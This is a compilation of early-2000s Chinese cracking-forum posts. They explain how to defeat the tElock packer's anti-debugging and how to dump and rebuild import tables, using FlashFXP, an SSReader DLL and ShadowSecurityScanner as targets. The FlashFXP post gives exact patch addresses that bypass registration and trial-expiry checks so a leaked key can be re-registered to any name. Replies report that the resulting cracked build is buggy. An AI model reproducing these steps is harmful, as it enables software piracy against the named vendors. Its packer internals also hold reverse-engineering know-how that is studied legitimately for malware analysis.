0167:00582086 64FF30 PUSH DWORD [FS:EAX]
0167:00582089 648920 MOV [FS:EAX],ESP
0167:0058208C CC INT3
0167:0058208D 90 NOP
0167:0058208E 8BC0 MOV EAX,EAX
0167:00582090 F9 STC
0167:00582091 90 NOP
0167:00582092 8D045D34120000 LEA EAX,[EBX*2+1234]
0167:00582099 F8 CLC
0167:0058209A 90 NOP
0167:0058209B C1EB05 SHR EBX,05
0167:0058209E FC CLD
0167:0058209F 90 NOP
0167:005820A0 C1C007 ROL EAX,07
0167:005820A3 90 NOP
0167:005820A4 90 NOP
0167:005820A5 33DB XOR EBX,EBX
0167:005820A7 F7F3 DIV EBX
0167:005820A9 64678F060000 POP DWORD [WORD FS:00]
0167:005820AF 83C404 ADD ESP,BYTE +04
0167:005820B2 66BE4746 MOV SI,4647
0167:005820B6 66BF4D4A MOV DI,4A4D
0167:005820BA 8A8599000000 MOV AL,[EBP+99]
0167:005820C0 E99C000000 JMP 00582161
0167:005820C5 8B442404 MOV EAX,[ESP+04]
0167:005820C9 8B4C240C MOV ECX,[ESP+0C]
0167:005820CD FF81B8000000 INC DWORD [ECX+B8]
0167:005820D3 8B00 MOV EAX,[EAX]
0167:005820D5 3D940000C0 CMP EAX,C0000094
0167:005820DA 7524 JNZ 00582100
0167:005820DC FF81B8000000 INC DWORD [ECX+B8]
0167:005820E2 33C0 XOR EAX,EAX
0167:005820E4 214104 AND [ECX+04],EAX
0167:005820E7 214108 AND [ECX+08],EAX
0167:005820EA 21410C AND [ECX+0C],EAX
0167:005820ED 214110 AND [ECX+10],EAX
0167:005820F0 816114F00FFFFF AND DWORD [ECX+14],FFFF0FF0
0167:005820F7 81611800DC0000 AND DWORD [ECX+18],DC00
0167:005820FE EB60 JMP SHORT 00582160
0167:00582100 3D04000080 CMP EAX,80000004
0167:00582105 740C JZ 00582113
0167:00582107 3D03000080 CMP EAX,80000003
0167:0058210C 7412 JZ 00582120
0167:0058210E 6A01 PUSH BYTE +01
0167:00582110 58 POP EAX
0167:00582111 EB4D JMP SHORT 00582160
0167:00582113 E801000000 CALL 00582119
0167:00582118 0058FE ADD [EAX-02],BL
0167:0058211B 002B ADD [EBX],CH
0167:0058211D C0EB40 SHR BL,40
0167:00582120 8B81B4000000 MOV EAX,[ECX+B4]
0167:00582126 8D4024 LEA EAX,[EAX+24]
0167:00582129 894104 MOV [ECX+04],EAX
0167:0058212C 8B81B4000000 MOV EAX,[ECX+B4]
0167:00582132 8D401F LEA EAX,[EAX+1F]
0167:00582135 894108 MOV [ECX+08],EAX
0167:00582138 8B81B4000000 MOV EAX,[ECX+B4]
0167:0058213E 8D401A LEA EAX,[EAX+1A]
0167:00582141 89410C MOV [ECX+0C],EAX
0167:00582144 8B81B4000000 MOV EAX,[ECX+B4]
0167:0058214A 8D4011 LEA EAX,[EAX+11]
0167:0058214D 894110 MOV [ECX+10],EAX
0167:00582150 33C0 XOR EAX,EAX
0167:00582152 816114F00FFFFF AND DWORD [ECX+14],FFFF0FF0
0167:00582159 C7411855010000 MOV DWORD [ECX+18],0155
0167:00582160 C3 RET
0167:00582161 2C04 SUB AL,04
0167:00582163 888599000000 MOV [EBP+99],AL
0167:00582169 8B95CF1B0000 MOV EDX,[EBP+1BCF]
0167:0058216F 81E20000FFFF AND EDX,FFFF0000
0167:00582175 8BC4 MOV EAX,ESP
0167:00582177 33E4 XOR ESP,ESP
0167:00582179 8BE0 MOV ESP,EAX
0167:0058217B 66813A4D5A CMP WORD [EDX],5A4D
0167:00582180 7408 JZ 0058218A

如果觉得麻烦，可跳过58208c int3,然后在5820c5处下断。断下后一路F8到达582160时（不要再走了），停下，下中断bpx 5820ba.按一下F5，停在了5820ba处。走到582161时，快给al赋值4，好了，这一关算过去了。下面还有很多anti-debug，主要形式是 int1 、div ebx、inc [esi] 、pushf 等等，够烦的，只要小心一些，都会过去的。
当你走到这样的代码：call 583145 时，停一下，为了偷懒，直接下中断：bpx 583683. F5断下后，一路又要小心了，还有anti-debug,还是那些东东。顺利走过那些陷阱后，到达下面就是终点了：

167:005837AF INT 20
0167:005837B1 POPA
0167:005837B2 JMP NEAR [ESP-30] 《————oep=[esp-30]==535334,
0167:005837B6 ADD BYTE [EAX],00
0167:005837B9 ADD [EAX],AL
0167:005837BB JMP SHORT 005837BE
0167:005837BD MOV EAX,6090C523
0167:005837C2 CALL 005837CD
0167:005837C7 MOV ESP,[ESP+08]

到达535334后，pedump,得到脱壳文件。用importREC 的 Auto trace一次，会发现有138个函数需修正，如果耐心好的话，那就一个一个的搞；不然，想想办法，有窍门的。具体如何修复重建请参考那些高人的教程。

4)先用W32dasm反汇编脱壳文件，在SDR中可以发现 " - Evaluation Copy"。双击它
会找到很多处。看一下这里：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00525E08(C)
|
:00525E1D 803DA0A0530000 cmp byte ptr [0053A0A0], 00 //比较
:00525E24 7411 je 00525E37------------------>不要跳

* Possible StringData Ref from Code Obj ->"FlashFXP"
|
:00525E26 BAA0615200 mov edx, 005261A0
:00525E2B A120C05300 mov eax, dword ptr [0053C020]
:00525E30 E87F21F2FF call 00447FB4
:00525E35 EB0F jmp 00525E46

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00525E24(C)
|

* Possible StringData Ref from Code Obj ->"FlashFXP - Evaluation Copy"
|
:00525E37 BAB4615200 mov edx, 005261B4
:00525E3C A120C05300 mov eax, dword ptr [0053C020]
:00525E41 E86E21F2FF call 00447FB4

啊，很明显，[0053A0A0]这个内存地址中的值与注册关系满密切的，查找文本
"cmp byte [00533ec0],00"这样的地方好像有48处之多！！

5)好，开始吧！

运行flashfxp.exe，注册的nag窗口出来了！填入build 819的key

退出后，用TRW载入，下断bpm 53A0A0 W，F5来到：

:0050C55F E82079EFFF call 00403E84
:0050C564 83F811 cmp eax, 00000011 <------------------此时 查eax＝11
:0050C567 0F9405A0A05300 sete byte ptr [0053A0A0]<------------置1
:0050C56E 803DA0A0530000 cmp byte ptr [0053A0A0], 00<---------光标
:0050C575 0F849A020000 je 0050C815
:0050C57B A188C25300 mov eax, dword ptr [0053C288]
:0050C580 3DCE7F210B cmp eax, 0B217FCE
:0050C585 0F8F53010000 jg 0050C6DE
......

不用说，后面有暗桩了，往下追追看。。会来到：

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0050C58B(C), :0050C59C(C), :0050C5A9(C), :0050C5B6(C), :0050C5C1(C)
|:0050C5CC(C), :0050C5D7(C), :0050C5E7(C), :0050C5F2(C), :0050C604(C)
|:0050C60F(C), :0050C61A(C), :0050C62A(C), :0050C635(C), :0050C647(C)
|:0050C654(C), :0050C65F(C), :0050C66A(C), :0050C675(C), :0050C685(C)
|:0050C690(C), :0050C6A2(C), :0050C6AD(C), :0050C6B8(C), :0050C6C8(C)
|:0050C6D3(C), :0050C6E9(C), :0050C6F6(C), :0050C703(C), :0050C70E(C)
|:0050C719(C), :0050C724(C), :0050C734(C), :0050C73F(C), :0050C751(C)
|:0050C758(C), :0050C75F(C), :0050C76B(C), :0050C772(C), :0050C780(C)
|:0050C789(C), :0050C790(C), :0050C797(C), :0050C7A0(C), :0050C7A7(C)
|:0050C7B2(C), :0050C7B9(C), :0050C7C0(C), :0050C7C9(C)
|
:0050C7D2 C605A0A0530000 mov byte ptr [0053A0A0], 00<------置0后，当然是未注册了！####
:0050C7D9 33C0 xor eax, eax
:0050C7DB A334C05300 mov dword ptr [0053C034], eax
:0050C7E0 B828C05300 mov eax, 0053C028
:0050C7E5 8B15FCA55300 mov edx, dword ptr [0053A5FC]
....

这么jump到0050C7D2，这真是“热点”啊。还是改改吧，在0050C7D2 改为 jmp 0050C815后，往下走：

:0050C815 A188C25300 mov eax, dword ptr [0053C288]
:0050C81A 33D2 xor edx, edx
:0050C81C 52 push edx
:0050C81D 50 push eax
:0050C81E 8D45F0 lea eax, dword ptr [ebp-10]
:0050C821 E8AAC6EFFF call 00408ED0
:0050C826 8B4DF0 mov ecx, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"Main"
|
:0050C829 BA40CE5000 mov edx, 0050CE40
:0050C82E A17CC05300 mov eax, dword ptr [0053C07C]
:0050C833 E87CFDFAFF call 004BC5B4－－－－－－－－--－>进入
:0050C838 84C0 test al, al<--------------------标志测试
:0050C83A 7443 je 0050C87F
:0050C83C C605A0A0530000 mov byte ptr [0053A0A0], 00<----注意这里
。。。

call 004BC5B4－－－－－－－－－>进入后来到

* Possible StringData Ref from Code Obj ->""
|
:004BC5EE BA2CC64B00 mov edx, 004BC62C
:004BC5F3 E89C79F4FF call 00403F94
:004BC5F8 0F95C0 setne al<------置标志 #####
:004BC5FB 8BD8 mov ebx, eax
:004BC5FD 33C0 xor eax, eax
:004BC5FF 5A pop edx
:004BC600 59 pop ecx
:004BC601 59 pop ecx
:004BC602 648910 mov dword ptr fs:[eax], edx
:004BC605 681AC64B00 push 004BC61A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004BC618(U)
|
:004BC60A 8D45FC lea eax, dword ptr [ebp-04]
:004BC60D E8F675F4FF call 00403C08
:004BC612 C3 ret

置标志的地方，打补丁mov al，0 后继续走来到：

:0050CA82 A354C25300 mov dword ptr [0053C254], eax
:0050CA87 8B45FC mov eax, dword ptr [ebp-04]
:0050CA8A E845810200 call 00534BD4－－－－－－－－--－>进入
:0050CA8F 84C0 test al, al<--------------------标志测试
:0050CA91 7443 je 0050CAD6
:0050CA93 C605A0A0530000 mov byte ptr [0053A0A0], 00<----注意这里
:0050CA9A 33C0 xor eax, eax
...

call 00534BD4－－－－－－－－－>进入后来到

:00534C5D 8B55F4 mov edx, dword ptr [ebp-0C]
:00534C60 8B45F8 mov eax, dword ptr [ebp-08]
:00534C63 E8F0CEF2FF call 00461B58
:00534C68 84C0 test al, al<------标志测试 #####
:00534C6A 7504 jne 00534C70<-----不要在这跳啊！

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00534C4A(C)
|
:00534C6C 33C0 xor eax, eax
:00534C6E EB02 jmp 00534C72

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00534C6A(C)
|
:00534C70 B001 mov al, 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
......

在00534C68打补丁： xor al，al
之后， BD* 暂停所有断点，F5。。。哇，注册成功！

6)把key中的名字换成自己的又如何呢？？（^_^毕竟我想注册给自己啊）
好， 删除原来的key文件，运行flashfxp.exe，注册的nag窗口出来了！填入build 819的key，
并改成自己的名字。填完后，OK，程序退出。用TRW重新载入flashfxp.exe，下bpm 53A0A0 W，
F5后来到：

:0050C550 E8A3CAEFFF call 00408FF8
:0050C555 A388C25300 mov dword ptr [0053C288], eax
:0050C55A A128C05300 mov eax, dword ptr [0053C028]
:0050C55F E82079EFFF call 00403E84
:0050C564 83F811 cmp eax, 00000011 <-----------------在此eax＝0 ＃＃＃
:0050C567 0F9405A0A05300 sete byte ptr [0053A0A0]<-----------注册标志
:0050C56E 803DA0A0530000 cmp byte ptr [0053A0A0], 00<---------光标
:0050C575 0F849A020000 je 0050C815
:0050C57B A188C25300 mov eax, dword ptr [0053C288]
:0050C580 3DCE7F210B cmp eax, 0B217FCE
:0050C585 0F8F53010000 jg 0050C6DE
:0050C58B 0F8441020000 je 0050C7D2
:0050C591 3D125EF9C9 cmp eax, C9F95E12
:0050C596 0F8FA4000000 jg 0050C640
:0050C59C 0F8430020000 je 0050C7D2
:0050C5A2 3DAB90A0A2 cmp eax, A2A090AB
:0050C5A7 7F54 jg 0050C5FD
:0050C5A9 0F8423020000 je 0050C7D2

........后边判断很长呵......

反正得叫[0053A0A0]＝1，聪明的你知道哪里打补丁了吧。我是在50C564处改：xor eax，eax

然后BD*, F5,哈哈，提示注册的nag窗口没有了，那个－Evaluation Copy的字样也没有了，点击Help－>About,
竟然注册给你了！不要高兴的太早了，看看右下角的出错窗口有

---
DEBUG VERSION
An internal error has occurred.
Access violation at address 0051293D in module 'FLASHFXP823.EXE'. Read of address FFFFFFFF
---
然后，你点击各个菜单项，再上网试试它的各项功能，注意它的出错窗口－－还真有不少错误！一边试，一边把
出错的地址记录下来。（还真是debug，一点没有错。）打开w32dasm,查找出错的地址，找到它上面的跳转语句，
将其改为Jmp。直到Error/Transfer Window 没有错误为止。大概有十来条跳转该改啊。

另外，该程序运行出错的话，会log到它所在目录下的errorlog.txt，和debug.log中，根据它们调试就可以了，
就看你的耐心了。反复调试，直到满意为止。

7)结束了吗？ No，还有一项不要忘记测试，就是过期问题。将时间向后调2年，再运行程序。注册窗口又来了！！

好，再下断点bpm 53A0A0 W:

会来到：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005035AD(C)
|
:005035C6 8B45E8 mov eax, dword ptr [ebp-18]
:005035C9 A394C05300 mov dword ptr [0053C094], eax
:005035CE 837DE820 cmp dword ptr [ebp-18], 00000020<--------使用天数比较
:005035D2 7C2E jl 00503602<---------------------------没有过期就转走！
:005035D4 A128C05300 mov eax, dword ptr [0053C028]
:005035D9 E8A608F0FF call 00403E84
:005035DE 83F811 cmp eax, 00000011

哈哈，知道怎么打补丁了吧！好，收工！！！

8）小结：搞完这个冬冬后，头昏脑胀的。盼望大客们拿出更聪明的办法，小弟也学学。

最后，恭祝大家新年快乐！

作者：moonlite[bcg][fcg] Edea
22:31 01-12-26

标 题:这样爆破后的软件谁敢用？ (30字)
发信人:stkman[CCG]
时 间:2001-12-30 9:53:46
详细信息:

不知道运行过程中还会有什么问题

标 题:原来网上现在流传的823 debug版是你们搞的？ (109字)
发信人:blowfish
时 间:2001-12-30 9:58:38
详细信息:

确实有点问题。FXP的时候如果右边窗口的server连不上，则左边窗口的目录显示会出错。这东西比较龌龊，内存动态解码。


tElock 0.90

 标 题:NT下的tELock 0.90手动脱壳 (945字)
发信人:blowfish
时 间:2002-3-16 13:48:43
详细信息:
先看看旧帖子：
http://www.chat001.com/forum/crackforum/40418.html
http://www.chat001.com/forum/crackforum/23607.html
http://www.chat001.com/forum/crackforum/24002.html
....

1、找OEP：

仍然是BPX VirtualProtectEx，中断下来后再手动跳过几个SEH就和旧版本的一样，直接到达OEP。参看精华区中关于旧版本的脱壳文章。

2、从内存中dump IT：

先找准IT的起始位置，一般就是.idata段的起始处。找IT的其它方法参看精华区。假定找到的位置为XXXXXXXX，然后“bpx VirtualAlloc do "dd XXXXXXXX"，每次中断后注意看数据区中的内容，看看telock什么时候把解压出来的完整的IT表放在那个位置。一旦发现IT/IAT已经完整解压出来，小心地在它破坏IT之前将其dump出来即可。那段破坏代码和旧版本的一样，很容易找到。

之后的修复就不用说了。

注意：
1、telock用调试器寄存器来做CRC检查，所以不要设BPM断点
2、设BPX断点时最好不要把断点设在API函数的第一条指令上，比如“BPX VirtualProtectEx”可以设为“BPX VirtualProtectEx+1”等，因为telock会检查某些API函数入口处有无0xCC（int 3）。


telock0.98

 标 题:我一个月前曾脱过用telock0.98加壳的notepad。以下可供参考，记不太清了！ (1千字)
发信人:liotta[BCG]
时 间:2001-11-24 22:24:48
详细信息:
telock0.98跟上本版本有些变化，我是这样做的！
用ti 0.2找OEP
用bpx GetModuleHandleA中断，返回到程式邻空，这恰好就是破坏Import Table的地方:记下特征代码的地址。以下是用telock0.95加壳的特征代码，telock0.98也差不多
017F:00576C16 8B95BEAF4000 MOV EDX,[EBP+0040AFBE]
017F:00576C1C 8BB5AEAF4000 MOV ESI,[EBP+0040AFAE]
017F:00576C22 85F6 TEST ESI,ESI
017F:00576C24 0F849D030000 JZ 00576FC7 中断在此处改一跳转再G到OEP
017F:00576C2A 03F2 ADD ESI,EDX
017F:00576C2C 83A5AAB0400000 AND DWORD PTR [EBP+0040B0AA],00
017F:00576C33 8B460C MOV EAX,[ESI+0C]
017F:00576C36 83660C00 AND DWORD PTR [ESI+0C],00
017F:00576C3A 85C0 TEST EAX,EAX
017F:00576C3C 0F8485030000 JZ 00576FC7
再用重新用readfile设断，要好几次，返回到程式领空，再G到特征代码处，就能dump出完整的it，其实改一处跳转再G到OEP就能一次dump完成，只需改一下section数就OK了。

可供参考，记不太清了！可参照以前的脱FlashFXP v1.4文档


tElock 0.98加壳的DLL脱壳

标 题:tElock 0.98加壳的DLL脱壳
发信人liotta
时 间:2002/01/21 00:28am
详细信息:

前言：
早在2000年10月就脱过用tElock 0.98加壳的NotePad，并好像在看雪论坛写过脱壳简要。
最近有网友问tElock 0.98加壳的DLL脱壳问题。整理出一篇文章，希望对你有帮助。
Liotta[BCG]

目标：
超星浏览器3.6.0.1210所带的pdg2.dll（先用upx -d解压，然后用tElock 0.98加壳）

scouting... E:\Program Files\SSREADER36\pdg2.dll - 256000 bytes big
Entry Point:0007EBD6(offset0003DBD6)E9 25 E4 FF FF 00 00 00
Image Base:10000000Base of Code:00001000
Base of Date:0005A000Size of Image:00080000
Number of Sections:0006

工具:
SoftICE+ICEDump
PEditor+WinHex

正文：

一，如何中断在pdg2.dll文件领空？以下是一些准备工作：
用 PEditor打开pdg2.dll文件，然后单击 FLC，输入Entry Point:0007EBD6得到Offset[hex]为 3DBD6。
然后，用WinHex打开pdg2.dll文件，定位到Offset3DBD6，记下此处字节的原值E9并改为CC，再Ctrl-D中
断进入SoftICE，设断点 bpint 3。

二，开始跟踪。
如何对付tElock保护的反跟踪代码就不说了，请参照以前的相关文章《Flashfxp 1.4脱壳》。
运行SSReader.EXE并中断在pdg2.dll领空，改1007EBD6处字节为原值E9再继续。

017F:1007EBD6 CC INT 3首先中断在这里，改CC为原来的E9
……
:u eip l 09
017F:1007EBD6 E925E4FFFF JMP 1007D000
017F:1007EBDB 0000 ADD [EAX],AL
017F:1007EBDD 0008 ADD [EAX],CL
……
消除断点bpint 3
再BPX GetModuleHandleA
为何要用这个函数中断呢？因为用tElock 0.98加壳后的文件只有这一个输入函数，用PEditor看看就知！
函数GetModuleHandleA中断，按F12返回。

:u 1007e210 l eip - 1007e210
017F:1007E210 8B9562D34000 MOV EDX,[EBP+0040D362]
017F:1007E216 8BB552D34000 MOV ESI,[EBP+0040D352]
017F:1007E21C 85F6 TEST ESI,ESI
<--首次调用时的ESI就是Import Tabler的RVA，记下该值0005D720。

017F:1007E21E 0F8406040000 JZ 1007E62A
017F:1007E224 03F2 ADD ESI,EDX
<-- EDX的值就是Image Base

017F:1007E226 83A552D4400000 AND DWORD PTR [EBP+0040D452],00
017F:1007E22D 8B460C MOV EAX,[ESI+0C]
017F:1007E230 83660C00 AND DWORD PTR [ESI+0C],00
<--开始把Name清00，要DUMP出有效的文件就要想想办法。

017F:1007E234 85C0 TEST EAX,EAX
017F:1007E236 0F84EE030000 JZ 1007E62A
017F:1007E23C 03C2 ADD EAX,EDX
017F:1007E23E 8BD8 MOV EBX,EAX
017F:1007E240 50 PUSH EAX
017F:1007E241 FF95D0D24000 CALL [EBP+0040D2D0]

:u eip l 1007e270-eip
017F:1007E247 85C0 TEST EAX,EAX
<--GetModuleHandleA中断，按F12返回到此处。

017F:1007E249 0F85BA000000 JNZ 1007E309
017F:1007E24F 53 PUSH EBX
017F:1007E250 FF95E4BA4000 CALL [EBP+0040BAE4]
017F:1007E256 85C0 TEST EAX,EAX
017F:1007E258 0F85AB000000 JNZ 1007E309
017F:1007E25E 8B9562D34000 MOV EDX,[EBP+0040D362]
017F:1007E264 01952AD34000 ADD [EBP+0040D32A],EDX
017F:1007E26A 019536D34000 ADD [EBP+0040D336],EDX
……
017F:1007E6C6 MOV EDI,[EBP+0040D362]
017F:1007E6CC ADD EDI,[EDI+3C]
017F:1007E6CF OR [EDI+06],SP<--此处改了Number of Sections的值
017F:1007E6D3 SHR ESI,00
017F:1007E6D6 CLC
……
然后用/tracex 10000000 eip-8指令追踪到pdg2.dll的 OEP为100330E4

:u eip l 100330f7 - eip
017F:100330E4 55 PUSH EBP
017F:100330E5 8BEC MOV EBP,ESP
017F:100330E7 53 PUSH EBX
……

三，如何DUMP出pdg2.dll文件呢？经过以上追踪应该很清楚了！

中断在DLL文件入口点，改CC为原来的E9
bpx readfile（主要是用以跳过反跟踪代码，直接G 1007E21E不行）
F5
中断按F12返回
BD *
G 1007E21E
R FL Z
G 1007E6CF
跳过NumberOfSections的修改
G 100330E4
/dump 10000000 00080000 C:\pdg2.dll
然后挂起并杀掉SSReader.EXE这个进程。
用PEditor打开Dump文件，dumpfixer(RS=VS & RO=VO)
再修改Entry Point的值为000330E4、Import Tabler的RVA的值为0005D720
可不要忘了把修复好的pdg2.dll复制到超星浏览器主目录中测试哦。
OK！


TELock加壳的Import Table

 标 题:找TELock加壳的Import Table的方法 (6千字)
发信人:blowfish
时 间:2001-9-29 15:56:37
详细信息:
目的：在内存中将FlashFXP未被破坏的IT完整地提取出来
（至于找TELock的OEP、修复的方法等，zombieys、hying、liotta已经讲得很详细了）

第一步：找到IT的位置

找IT自然要依赖于IT的结构特征。IT是个数组，数组中的每个元素是如下的一个结构(#include <winnt.h>)，对应着引入的一个DLL：

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)

DWORD ForwarderChain; // -1 if no forwarders
DWORD Name; //DLL name
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;

PE Loader/unpacker在加载DLL时，过程大致如下：
1、先根据Name用LoadLibraryA加载一个DLL；
2、根据FirstThunk找到IMAGE_IMPORT_BY_NAME数组，用GetProcAddress取得该DLL中的相应函数的地址填入IAT。FirstThunk就是指向IAT。

typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

找IT的位置的过程和上面的过程有些相反。利用调试器设bpx LoadLibraryA、bpx GetProcAddress断点，我们能够直接得到的条件是DLL文件名

字符串及该串的内存地址、每个函数的Hint和函数名的内存地址、IAT的位置（即GetProcAddress的返回值所要写入的位置），这样就至少有3条途

径可以找到IT的位置，一是根据DLL Name（在看雪教学中已有详细描述），第二条途径是根据Hint和函数名的地址，第三条则是根据IAT的位置

，这3条途径用的是同一种方法（这是找IT的一种通用方法，并不限于TELock加的壳）。

1、用BPMB LoadLibraryA X DO "d *(esp+4)"设断点，看见加载oleaut32.dll：

0023:00533DBC 61656C6F 32337475 6C6C642E 00000000 oleaut32.dll....
0023:00533DCC 69726156 43746E61 676E6168 70795465 VariantChangeTyp
0023:00533DDC 00784565 61560000 6E616972 706F4374 eEx...VariantCop
0023:00533DEC 646E4979 00000000 69726156 43746E61 yInd....VariantC
0023:00533DFC 7261656C 00000000 53737953 6E697274 lear....SysStrin
0023:00533E0C 6E654C67 00000000 46737953 53656572 gLen....SysFreeS
0023:00533E1C 6E697274 00000067 52737953 6C6C4165 tring...SysReAll
0023:00533E2C 7453636F 676E6972 006E654C 79530000 ocStringLen...Sy

2、先尝试第一条途径。字符串"oleaut32.dll"的RVA为00133DBC，于是在内存中搜索这个RVA，希望能够找到存放有该RVA值的某个

IMAGE_IMPORT_DESCRIPTOR结构，也就等于是找到了IT。

:s cs:400000 l 178000 bc,3d,13,00
Pattern not found

没有找到。因为TELock已经把相应位置上的值清0了。（实际上也可以用下一个DLL的文件名来进行搜索，因为TELock此时尚未处理下一个DLL，

它不可能提前把下一个DLL的IMAGE_IMPORT_DESCRIPTOR结构清掉。）

3、再尝试第2条途径。注意到第一个函数VariantChangeTypeEx的Hint的地址是00533DCA，于是搜索RVA值00133DCA，希望能够找到FirstThunk

所指向的那个数组（其实该数组也就是IAT），进而再找到FirstThunk的位置。

:s cs:400000 l 178000 ca,3d,13,00
Pattern found at 001B:0053328C (0013328C)

找到之后看一下IAT。由于此时还未把GetProcAddress的返回值写入IAT，所以此时IAT中存放的都是指向IMAGE_IMPORT_BY_NAME的指针（RVA）

：

:dd 53328c
001B:0053328C 00133DCA 00133DE0 00133DF2 00133E02 .=...=...=...>..
001B:0053329C 00133E12 00133E22 00133E38 00000000 .>..">..8>......
001B:005332AC 00133E5A 00133E68 00133E76 00133E84 Z>..h>..v>...>..
001B:005332BC 00133E98 00000000 00133EBC 00133ECE .>.......>...>..
001B:005332CC 00133EE2 00133EF6 00133F06 00133F14 .>...>...?...?..
001B:005332DC 00133F24 00133F36 00133F44 00133F58 $?..6?..D?..X?..
001B:005332EC 00133F70 00000000 00133F96 00133FA2 p?.......?...?..
001B:005332FC 00133FAE 00133FBA 00133FC6 00133FDC .?...?...?...?..

4、再看究竟是哪个FirstThunk指向了上面的IAT。由于该IAT的RVA为0013328C，故

:s cs:400000 l 178000 8c,32,13,00
Pattern found at 001B:0053304C (0013304C)

5、这样就找到了oleaut32.dll所对应的FirstThunk的位置是0053304C。在此位置附近看一下，就可以找到IT的起始位置为00533000
，长度为0x1CC（问号表示未被映射的内存空间；最初的4个IMAGE_IMPORT_DESCRIPTOR结构已经被清除了一部分）：

001B:00532FE0 ???????? ???????? ???????? ???????? ................
001B:00532FF0 ???????? ???????? ???????? ???????? ................
001B:00533000 00000000 00000000 00000000 00000000 ................
001B:00533010 001331CC 00000000 00000000 00000000 .1..............
001B:00533020 00000000 0013326C 00000000 00000000 ....l2..........
001B:00533030 00000000 00000000 0013327C 00000000 ........|2......
001B:00533040 00000000 00000000 00000000 0013328C .............2..
001B:00533050 00000000 00000000 00000000 00133E4C ............L>..
001B:00533060 001332AC 00000000 00000000 00000000 .2..............
001B:00533070 00133EAE 001332C4 00000000 00000000 .>...2..........
001B:00533080 00000000 00133F88 001332F4 00000000 .....?...2......
001B:00533090 00000000 00000000 001346D4 0013349C .........F...4..

第二步：找到破坏IT的代码

由于TELock清除了IT中指向DLL文件名的RVA，故只要设个bpm断点，看它什么时候清这个文件名的，就可以找到破坏IT的代码。
第一个DLL文件名的RVA存放在0053300C处，故BPM 00533000+0C W do "dd 533000"，

001B:00576C16 8B95BEAF4000 MOV EDX,[EBP+0040AFBE]
001B:00576C1C 8BB5AEAF4000 MOV ESI,[EBP+0040AFAE]
001B:00576C22 85F6 TEST ESI,ESI
001B:00576C24 0F849D030000 JZ 00576FC7
001B:00576C2A 03F2 ADD ESI,EDX
001B:00576C2C 83A5AAB0400000 AND DWORD PTR [EBP+0040B0AA],00
001B:00576C33 8B460C MOV EAX,[ESI+0C]
001B:00576C36 83660C00 AND DWORD PTR [ESI+0C],00 //清除指向每个DLL的Name的RVA值
001B:00576C3A 85C0 TEST EAX,EAX
001B:00576C3C 0F8485030000 JZ 00576FC7
001B:00576C42 03C2 ADD EAX,EDX
001B:00576C44 8BD8 MOV EBX,EAX
001B:00576C46 50 PUSH EAX
001B:00576C47 FF9518AF4000 CALL [EBP+0040AF18]
001B:00576C4D 85C0 TEST EAX,EAX
001B:00576C4F 0F858C000000 JNZ 00576CE1
001B:00576C55 53 PUSH EBX

在第一次执行上面CS:00576C36处的AND之前将533000～535FFF之间的内容（共0x3000字节，不仅包含IT，还包含IAT等）dump出来就行了。
所以觉得TELock目前还没有ASProtect强


telock脱壳总结

 标 题:telock脱壳总结 (12千字)
发信人:zombieys
时 间:2001-9-27 16:06:38
详细信息:
telock脱壳总结

telock用fi查不出，所以如何判断是telock的壳，凭ImportRECf导出it的结果吧，乱七八糟的那种差不多就是了。初解telock的壳会感觉比较难，不过看了2个以后就不觉得有多难了。当然我略过了手动找入口的步骤，寻找程序的入口还是脱壳的关键所在也是难点。

用ShadowSecurityScaner Ver3.37举个例子吧，讲的时候会比较方便

1.寻找入口:

(1)delphi:
快速寻找入口的方法:执行程序，接着用winhex打开程序所在的主内存，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，所以delphi程序的oep最好找了。

脱壳详情请参考我最近写的(delphi程序)

脱Flashfxp 1.4的壳

(2)vb：
快速寻找入口的方法:执行程序，接着用winhex打开程序所在的主内存，选择搜索文本，填程序的名字,执行搜索，搜到后,向前找到离名字最近的机器码为68(后面就不一定了，一般很短，不超过20h字节)开头的地方就是程序的oep，所以vb程序的oep也比较好找。

(3)vc:
无任何规律，慢慢跟吧:(。手动脱壳方法最好熟练掌握，对付任何程序都应该有效吧:)，熟悉以后就没问题了。(难~~~)

(4)其他:
没试过，不知道了。

ShadowSecurityScaner是用delphi写的，hoho运气真好:)。sss335以前某版肯定是用telock加的壳，不过在51下的337版没有加壳，所以我用telock0.90给他加一个壳。用快速寻找delphi程序入口的方法：执行sss，接着用winhex编辑sss的主内存，选择搜索文本，填runtime,执行搜索，搜到后,向前找到离runtime最近的机器码为55 8B EC的地方就是程序的oep，对应的地址是59b9e4。

2.脱壳：

telock的壳在dump之前需要用winhex内存编辑功能把400106-400107填回原来的section数(telock会改写为ffff，使脱壳程序无法dump)。然后从入口处dump，如果不是从入口dump的，一般不能用。再有用prodump dump的程序，需要手动把oep改成正确的。用天意,trw或peditor dump的程序稍大。其中天意在我的winme系统下执行suspend死机，所以极少用，peditor dump出的程序超大。trw只有娃娃改过的1.03版才能直接g到入口处，其余的版会非法操作的，而s-ice不会出任何问题的，cool。

ok，回到sss。下面要在入口处脱壳，老规矩打开SuperBPM，点erase，用trw1.03娃娃修改过的版载入sss，下g 59b9e4，下suspend，用winhex内存编辑功能把400106-400107填回原来的值0800，再用prodump选dump(full)就成功啦。

3.重建import table：

以sss为例，执行sss，然后用ImportRECf导出it，是这个样子的：

Target: D:\TOOLS\SHADOWSECURITYSCANER\SSS.EXE
